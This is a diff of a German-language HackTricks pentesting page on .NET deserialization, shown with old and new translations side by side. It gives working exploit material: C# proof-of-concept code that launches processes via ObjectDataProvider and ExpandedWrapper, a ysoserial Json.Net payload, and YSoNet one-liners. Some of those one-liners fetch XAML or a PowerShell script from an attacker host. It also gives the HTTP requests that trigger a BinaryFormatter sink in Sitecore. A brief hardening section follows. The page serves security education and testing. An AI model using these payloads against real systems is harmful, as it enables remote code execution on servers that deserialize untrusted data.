{{#include ../../banners/hacktricks-training.md}}

117
src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
View File

@ -1,38 +1,38 @@
# Grundlegende .Net-Deserialisierung (ObjectDataProvider-Gadget, ExpandedWrapper und Json.Net)
# Grundlegende .Net-Deserialisierung (ObjectDataProvider gadget, ExpandedWrapper, und Json.Net)
{{#include ../../banners/hacktricks-training.md}}
Dieser Beitrag ist gewidmet, um **zu verstehen, wie das Gadget ObjectDataProvider ausgenutzt wird**, um RCE zu erhalten und **wie** die Serialisierungsbibliotheken **Json.Net und xmlSerializer mit diesem Gadget missbraucht werden können**.
Dieser Beitrag widmet sich dem **Verständnis, wie das Gadget ObjectDataProvider ausgenutzt wird**, um RCE zu erhalten, und **wie** die Serialisierungsbibliotheken **Json.Net und xmlSerializer mit diesem Gadget missbraucht werden können.**
## ObjectDataProvider Gadget
Aus der Dokumentation: _Die ObjectDataProvider-Klasse umschließt und erstellt ein Objekt, das Sie als Bindungsquelle verwenden können_.\
Ja, es ist eine seltsame Erklärung, also schauen wir uns an, was diese Klasse so interessant macht: Diese Klasse ermöglicht es, **ein beliebiges Objekt zu umschließen**, _**MethodParameters**_ zu **beliebigen Parametern zu setzen** und dann **MethodName zu verwenden, um eine beliebige Funktion** des beliebigen Objekts, das mit den beliebigen Parametern deklariert wurde, aufzurufen.\
Daher wird das beliebige **Objekt** eine **Funktion** mit **Parametern ausführen, während es deserialisiert wird.**
Aus der Dokumentation: _die ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
Ja, das ist eine seltsame Erklärung, also schauen wir uns an, was diese Klasse so interessant macht: Diese Klasse ermöglicht es, ein beliebiges Objekt zu **kapseln**, _**MethodParameters**_ zu verwenden, um **beliebige Parameter zu setzen**, und anschließend **MethodName zu verwenden, um eine beliebige Funktion** des Objekts mit den angegebenen Parametern aufzurufen.\
Daher wird das beliebige **Objekt** während der Deserialisierung eine **Funktion** mit **Parametern ausführen.**
### **Wie ist das möglich**
Der **System.Windows.Data**-Namespace, der innerhalb der **PresentationFramework.dll** unter `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` definiert und implementiert ist, ist der Ort, an dem der ObjectDataProvider definiert ist.
Der Namespace **System.Windows.Data**, zu finden in der **PresentationFramework.dll** unter `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, ist der Ort, an dem ObjectDataProvider definiert und implementiert ist.
Mit [**dnSpy**](https://github.com/0xd4d/dnSpy) können Sie **den Code** der Klasse, die uns interessiert, **untersuchen**. Im Bild unten sehen wir den Code von **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
Mit [**dnSpy**](https://github.com/0xd4d/dnSpy) können Sie den Code der Klasse, die uns interessiert, **inspizieren**. Im Bild unten sehen wir den Code von **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
![](<../../images/image (427).png>)
Wie Sie beobachten können, wird bei der Einstellung von `MethodName` `base.Refresh()` aufgerufen, schauen wir uns an, was es tut:
Wie Sie sehen können, wird beim Setzen von `MethodName` `base.Refresh()` aufgerufen. Schauen wir uns an, was das macht:
![](<../../images/image (319).png>)
Ok, lassen Sie uns weitersehen, was `this.BeginQuery()` tut. `BeginQuery` wird von `ObjectDataProvider` überschrieben und das ist, was es tut:
Ok, sehen wir uns weiter an, was `this.BeginQuery()` macht. `BeginQuery` wird von `ObjectDataProvider` überschrieben und das ist, was es tut:
![](<../../images/image (345).png>)
Beachten Sie, dass am Ende des Codes `this.QueryWorke(null)` aufgerufen wird. Lassen Sie uns sehen, was das ausführt:
Beachte, dass am Ende des Codes `this.QueryWorke(null)` aufgerufen wird. Schauen wir, was das ausführt:
![](<../../images/image (596).png>)
Beachten Sie, dass dies nicht der vollständige Code der Funktion `QueryWorker` ist, aber es zeigt den interessanten Teil davon: Der Code **ruft `this.InvokeMethodOnInstance(out ex);` auf;** dies ist die Zeile, in der das **Methoden-Set aufgerufen wird**.
Beachte, dass dies nicht der komplette Code der Funktion `QueryWorker` ist, aber es zeigt den interessanten Teil: Der Code **ruft `this.InvokeMethodOnInstance(out ex);` auf;** dies ist die Zeile, in der das **Methoden-Set aufgerufen** wird.
Wenn Sie überprüfen möchten, dass durch das Setzen von _**MethodName**_** es ausgeführt wird**, können Sie diesen Code ausführen:
Wenn Sie überprüfen möchten, dass allein das Setzen von _**MethodName**_ dazu führt, dass es ausgeführt wird, können Sie diesen Code ausführen:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -52,16 +52,16 @@ myODP.MethodName = "Start";
}
}
```
Beachten Sie, dass Sie als Referenz _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ hinzufügen müssen, um `System.Windows.Data` zu laden.
Beachte, dass du als Referenz _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ hinzufügen musst, um `System.Windows.Data` zu laden.
## ExpandedWrapper
Mit dem vorherigen Exploit wird es Fälle geben, in denen das **Objekt** als _**ObjectDataProvider**_ Instanz **deserialisiert wird** (zum Beispiel in der DotNetNuke-Schwachstelle, bei Verwendung von XmlSerializer, wurde das Objekt mit `GetType` deserialisiert). Dann hat man **keine Kenntnis vom Objekttyp, der in der _ObjectDataProvider_ Instanz eingekapselt ist** (zum Beispiel `Process`). Weitere [Informationen zur DotNetNuke-Schwachstelle finden Sie hier](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Beim Einsatz des vorherigen Exploits gibt es Fälle, in denen das **object** als eine _**ObjectDataProvider**_-Instanz **deserialisiert wird** (zum Beispiel beim DotNetNuke vuln, mit XmlSerializer wurde das object mittels `GetType` deserialisiert). Dann besteht **no knowledge of the object type that is wrapped** in der _ObjectDataProvider_-Instanz (z. B. `Process`). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Diese Klasse ermöglicht es, die **Objekttypen der Objekte, die in einer bestimmten Instanz eingekapselt sind, anzugeben**. Diese Klasse kann verwendet werden, um ein Quellobjekt (_ObjectDataProvider_) in einen neuen Objekttyp einzukapseln und die benötigten Eigenschaften bereitzustellen (_ObjectDataProvider.MethodName_ und _ObjectDataProvider.MethodParameters_).\
Dies ist sehr nützlich für Fälle wie den zuvor dargestellten, da wir in der Lage sein werden, **_ObjectDataProvider**_** innerhalb einer **_**ExpandedWrapper** _ Instanz zu **verpacken** und **bei der Deserialisierung** wird diese Klasse das _**OjectDataProvider**_ Objekt **erstellen**, das die **Funktion** ausführt, die in _**MethodName**_ angegeben ist.
Diese Klasse erlaubt es, die **Objekttypen der Objekte, die in einer Instanz gekapselt sind, anzugeben**. Somit kann diese Klasse verwendet werden, um ein Quellobjekt (_ObjectDataProvider_) in einen neuen Objekttyp zu kapseln und die Eigenschaften bereitzustellen, die wir benötigen (_ObjectDataProvider.MethodName_ und _ObjectDataProvider.MethodParameters_).
Das ist sehr nützlich für Fälle wie den zuvor dargestellten, denn wir können das _ObjectDataProvider_ in eine _ExpandedWrapper_-Instanz einbetten und beim **Deserialisieren** wird diese Klasse das _**OjectDataProvider**_ Objekt **erstellen**, das die in _**MethodName**_ angegebene **Funktion** **ausführen** wird.
Sie können diesen Wrapper mit dem folgenden Code überprüfen:
You can check this wrapper with the following code:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
```
## Json.Net
Auf der [offiziellen Webseite](https://www.newtonsoft.com/json) wird angegeben, dass diese Bibliothek es ermöglicht, **jede .NET-Objekt mit Json.NETs leistungsstarkem JSON-Serializer zu serialisieren und zu deserialisieren**. Wenn wir also **das ObjectDataProvider-Gadget deserialisieren** könnten, könnten wir durch das Deserialisieren eines Objekts eine **RCE** verursachen.
Auf der [offiziellen Webpage](https://www.newtonsoft.com/json) wird angegeben, dass diese Bibliothek ermöglicht, beliebige .NET-Objekte mit dem leistungsstarken JSON-Serializer von Json.NET zu **serialisieren und zu deserialisieren**. Wenn wir also das **ObjectDataProvider gadget** deserialisieren könnten, könnten wir allein durch das Deserialisieren eines Objekts eine **RCE** auslösen.
### Json.Net Beispiel
### Json.Net example
Zunächst sehen wir uns ein Beispiel an, wie man ein Objekt mit dieser Bibliothek **serialisieren/deserialisieren** kann:
Zuerst sehen wir uns ein Beispiel an, wie man ein Objekt mit dieser Bibliothek **serialisiert/deserialisiert**:
```java
using System;
using Newtonsoft.Json;
@ -132,11 +132,11 @@ Console.WriteLine(desaccount.Email);
}
}
```
### Missbrauch von Json.Net
### Abusing Json.Net
Mit [ysoserial.net](https://github.com/pwntester/ysoserial.net) habe ich den Exploit erstellt:
```java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
In diesem Code kannst du **den Exploit testen**, führe ihn einfach aus und du wirst sehen, dass ein Calculator ausgeführt wird:
In diesem Code kannst du **den Exploit testen**, führe ihn einfach aus und du wirst sehen, dass calc ausgeführt wird:
```java
using System;
using System.Text;
@ -184,27 +184,27 @@ TypeNameHandling = TypeNameHandling.Auto
}
}
```
## Fortgeschrittene .NET Gadget-Ketten (YSoNet & ysoserial.net)
## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
Die oben eingeführte ObjectDataProvider + ExpandedWrapper-Technik ist nur eine von VIELEN Gadget-Ketten, die missbraucht werden können, wenn eine Anwendung **unsichere .NET-Deserialisierung** durchführt. Moderne Red-Team-Tools wie **[YSoNet](https://github.com/irsdl/ysonet)** (und das ältere [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatisieren die Erstellung von **einsatzbereiten bösartigen Objektgraphen** für Dutzende von Gadgets und Serialisierungsformaten.
Die ObjectDataProvider + ExpandedWrapper-Technik, die oben eingeführt wurde, ist nur eine von VIELEN Gadget-Ketten, die ausgenutzt werden können, wenn eine Anwendung unsichere .NET-Deserialisierung durchführt. Moderne Red‑Team-Tools wie **[YSoNet](https://github.com/irsdl/ysonet)** (und das ältere [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatisieren die Erstellung von **sofort einsetzbaren bösartigen Objektgraphen** für Dutzende von Gadgets und Serialisierungsformaten.
Unten finden Sie ein komprimiertes Referenzblatt der nützlichsten Ketten, die mit *YSoNet* geliefert werden, zusammen mit einer kurzen Erklärung, wie sie funktionieren, und Beispielbefehlen zur Generierung der Payloads.
Unten steht eine komprimierte Referenz der nützlichsten Chains, die mit *YSoNet* ausgeliefert werden, zusammen mit einer kurzen Erklärung, wie sie funktionieren, und Beispielbefehlen zur Erzeugung der Payloads.
| Gadget-Kette | Schlüsselidee / Primitive | Häufige Serializer | YSoNet-Einzeiler |
|--------------|---------------------------|--------------------|------------------|
| **TypeConfuseDelegate** | Korruptiert den `DelegateSerializationHolder`-Datensatz, sodass der Delegate, sobald er materialisiert ist, auf *jede* vom Angreifer bereitgestellte Methode zeigt (z. B. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | Missbraucht `System.Workflow.ComponentModel.ActivitySurrogateSelector`, um *die .NET ≥4.8 Typfilterung zu umgehen* und direkt den **Konstruktor** einer bereitgestellten Klasse aufzurufen oder eine C#-Datei im laufenden Betrieb zu **kompilieren** | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Nutzt die **legacy XML**-Darstellung von `System.Data.DataSet`, um beliebige Typen zu instanziieren, indem die Felder `<ColumnMapping>` / `<DataType>` ausgefüllt werden (optional mit `--spoofedAssembly` die Assembly fälschen) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | In WPF-fähigen Laufzeiten (> .NET 5) werden Property-Getter verkettet, bis `System.CodeDom.Compiler.CompilerResults` erreicht ist, dann wird eine DLL, die mit `-c` bereitgestellt wird, *kompiliert* oder *geladen* | `Json.NET` typlos, `MessagePack` typlos | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (Überprüfung) | Verwendet WPF `System.Windows.Data.ObjectDataProvider`, um eine beliebige statische Methode mit kontrollierten Argumenten aufzurufen. YSoNet fügt eine praktische `--xamlurl`-Variante hinzu, um das bösartige XAML remote zu hosten | `BinaryFormatter`, `Json.NET`, `XAML`, *usw.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Betten `ScriptBlock` in `System.Management.Automation.PSObject` ein, der ausgeführt wird, wenn PowerShell das Objekt deserialisiert | PowerShell-Remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|--------------|----------------------|--------------------|------------------|
| **TypeConfuseDelegate** | Beschädigt den `DelegateSerializationHolder`-Eintrag, sodass der Delegate nach der Materialisierung auf *jede* vom Angreifer bereitgestellte Methode zeigt (z. B. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | Nutzt `System.Workflow.ComponentModel.ActivitySurrogateSelector`, um *die .NET ≥4.8 Typ‑Filterung zu umgehen* und direkt den **Konstruktor** einer angegebenen Klasse aufzurufen oder eine C#-Datei on‑the‑fly zu **kompilieren** | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Nutzt die **legacy XML**-Darstellung von `System.Data.DataSet`, um beliebige Typen zu instanziieren, indem die `<ColumnMapping>` / `<DataType>`-Felder gefüllt werden (optional mit gefälschter Assembly via `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | Auf WPF-fähigen Laufzeiten (> .NET 5) ketten sich Property-Getter bis zu `System.CodeDom.Compiler.CompilerResults`, und dann wird eine DLL, die mit `-c` angegeben wurde, *kompiliert* oder *geladen* | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (Überblick) | Verwendet WPF `System.Windows.Data.ObjectDataProvider`, um eine beliebige statische Methode mit kontrollierten Argumenten aufzurufen. YSoNet fügt eine praktische `--xamlurl`-Variante hinzu, um das bösartige XAML remote zu hosten | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Betten `ScriptBlock` in ein `System.Management.Automation.PSObject` ein, das beim Deserialisieren in PowerShell ausgeführt wird | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
> [!TIP]
> Alle Payloads werden standardmäßig **in *stdout*** geschrieben, was es trivial macht, sie in andere Tools (z. B. ViewState-Generatoren, Base64-Codierer, HTTP-Clients) zu pipen.
> Alle Payloads werden standardmäßig an **stdout** ausgegeben, was es trivial macht, sie in andere Tools zu pipen (z. B. ViewState-Generatoren, Base64-Encoder, HTTP-Clients).
### YSoNet erstellen / installieren
### Building / Installing YSoNet
Wenn keine vorkompilierten Binärdateien unter *Actions ➜ Artifacts* / *Releases* verfügbar sind, wird der folgende **PowerShell**-Einzeiler eine Build-Umgebung einrichten, das Repository klonen und alles im *Release*-Modus kompilieren:
Falls keine vorkompilierten Binärdateien unter *Actions ➜ Artifacts* / *Releases* verfügbar sind, richtet der folgende **PowerShell**-Einzeiler eine Build‑Umgebung ein, klont das Repository und kompiliert alles im *Release*-Modus:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
@ -216,17 +216,48 @@ cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
```
Die kompilierte `ysonet.exe` ist dann unter `ysonet/bin/Release/` zu finden.
Die kompilierte `ysonet.exe` befindet sich dann unter `ysonet/bin/Release/`.
### Erkennung & Härtung
* **Erkennen** Sie unerwartete Kindprozesse von `w3wp.exe`, `PowerShell.exe` oder jedem Prozess, der Benutzerdaten deserialisiert (z. B. `MessagePack`, `Json.NET`).
* Aktivieren und **erzwingen Sie die Typfilterung** (`TypeFilterLevel` = *Full*, benutzerdefinierter `SurrogateSelector`, `SerializationBinder`, *usw.*), wann immer der veraltete `BinaryFormatter` / `NetDataContractSerializer` nicht entfernt werden kann.
* Wo möglich, migrieren Sie zu **`System.Text.Json`** oder **`DataContractJsonSerializer`** mit konvertierbaren Whitelists.
* Blockieren Sie gefährliche WPF-Assemblies (`PresentationFramework`, `System.Workflow.*`), die in Webprozessen geladen werden, die sie niemals benötigen sollten.
* **Erkennen** Sie unerwartete Kindprozesse von `w3wp.exe`, `PowerShell.exe` oder jedem Prozess, der nutzerübermittelte Daten deserialisiert (z. B. `MessagePack`, `Json.NET`).
* **Aktivieren und erzwingen** Sie Type-Filtering (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*), wann immer der veraltete `BinaryFormatter` / `NetDataContractSerializer` nicht entfernt werden kann.
* Soweit möglich auf **`System.Text.Json`** oder **`DataContractJsonSerializer`** mit whitelist-basierten Konvertern migrieren.
* Blockieren Sie das Laden gefährlicher WPF-Assemblies (`PresentationFramework`, `System.Workflow.*`) in Webprozessen, die diese niemals benötigen sollten.
## Praxisbeispiel (Sink): Sitecore convertToRuntimeHtml → BinaryFormatter
Ein praktischer .NET-Sink, erreichbar in authentifizierten Sitecore XP Content Editor-Flows:
- Sink API: `Sitecore.Convert.Base64ToObject(string)` kapselt `new BinaryFormatter().Deserialize(...)`.
- Trigger-Pfad: Pipeline `convertToRuntimeHtml` → `ConvertWebControls`, die nach einem Geschwisterelement mit `id="{iframeId}_inner"` sucht und ein `value`-Attribut liest, das als base64-kodierte serialisierte Daten behandelt wird. Das Ergebnis wird als string gecastet und in das HTML eingefügt.
Minimales End‑to‑End (authentifiziert):
```
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
```
- Gadget: jede BinaryFormatter-Kette, die einen string zurückgibt (Nebenwirkungen werden während der Deserialisierung ausgeführt). Siehe YSoNet/ysoserial.net, um Payloads zu generieren.
Für eine vollständige Kette, die pre‑auth mit HTML cache poisoning in Sitecore beginnt und zu diesem Sink führt:
{{#ref}}
../../network-services-pentesting/pentesting-web/sitecore/README.md
{{#endref}}
## Referenzen
- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
- [ysoserial.net – ursprüngliches PoC-Tool](https://github.com/pwntester/ysoserial.net)
- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
{{#include ../../banners/hacktricks-training.md}}